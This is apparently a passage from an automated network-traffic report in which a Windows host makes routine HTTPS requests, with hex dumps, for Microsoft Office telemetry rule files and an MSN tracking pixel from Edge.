AV&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkV
2024-11-22 13:44:05 UTC	2148	IN	Data Raw: 39 c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a Data Ascii: 9M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-22 13:44:05 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-22 13:44:05 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:04 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:05 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134405Z-174c587ffdfb5q56hC1TEB04kg00000001dg00000000bk13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:05 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:05 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:05 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134405Z-178bfbc474bw8bwphC1NYC38b400000002w000000000b3b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:05 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49938	20.110.205.119	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:05 UTC	1261	OUT	GET /c.gif?rnd=1732283037066&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e86e0d66dc7146a5907dace5bc002599&activityId=e86e0d66dc7146a5907dace5bc002599&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=13585E899D4442B78D5136D58CC68DD8&MUID=0AFE249FEBCF639338DA31A0EAE662C3 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1; SM=T
2024-11-22 13:44:05 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0AFE249FEBCF639338DA31A0EAE662C3; domain=.msn.com; expires=Wed, 17-Dec-2025 13:44:05 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0AFE249FEBCF639338DA31A0EAE662C3; domain=c.msn.com; expires=Wed, 17-Dec-2025 13:44:05 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Fri, 29-Nov-2024 13:44:05 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Fri, 22-Nov-2024 13:54:05 GMT; path=/; SameSite=None; Secure; Date: Fri, 22 Nov 2024 13:44:04 GMT Connection: close Content-Length: 42
2024-11-22 13:44:05 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:05 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:05 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134405Z-174c587ffdf59vqchC1TEByk6800000001m000000000g5fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:05 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:05 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:05 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134405Z-178bfbc474b9xljthC1NYCtw94000000030g000000005wev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:05 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:05 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:05 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 7f04ed54-d01e-008e-5c68-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134405Z-178bfbc474bpnd5vhC1NYC4vr4000000032g00000000828w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:07 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134407Z-178bfbc474bbcwv4hC1NYCypys00000002x000000000b1sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:07 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:07 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134407Z-178bfbc474bwlrhlhC1NYCy3kg00000002z000000000gx4k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:07 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:07 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
